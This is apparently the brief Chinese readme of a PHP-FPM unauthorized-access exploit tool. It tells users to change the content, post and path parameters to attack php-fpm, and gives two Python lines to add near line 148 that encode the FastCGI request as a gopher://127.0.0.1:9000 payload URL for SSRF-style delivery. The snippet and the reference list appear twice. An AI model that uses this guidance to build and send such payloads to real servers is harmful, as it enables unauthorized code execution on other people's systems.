- PHP-FPM 未授权漏洞利用工具
- 正常攻击php-fpm模式需修改content、post、path等参数
- Gopher模式需要在148行附近添加:
request_encode_data_bin = urllib.quote(request)
print("gopher://127.0.0.1:" + str(9000) + "/_" + request_encode_data_bin)
- 参考:
fastcgi-client 、php-fpm未授权访问漏洞、exploit
request_encode_data_bin = urllib.quote(request)
print("gopher://127.0.0.1:" + str(9000) + "/_" + request_encode_data_bin)
fastcgi-client 、php-fpm未授权访问漏洞、exploit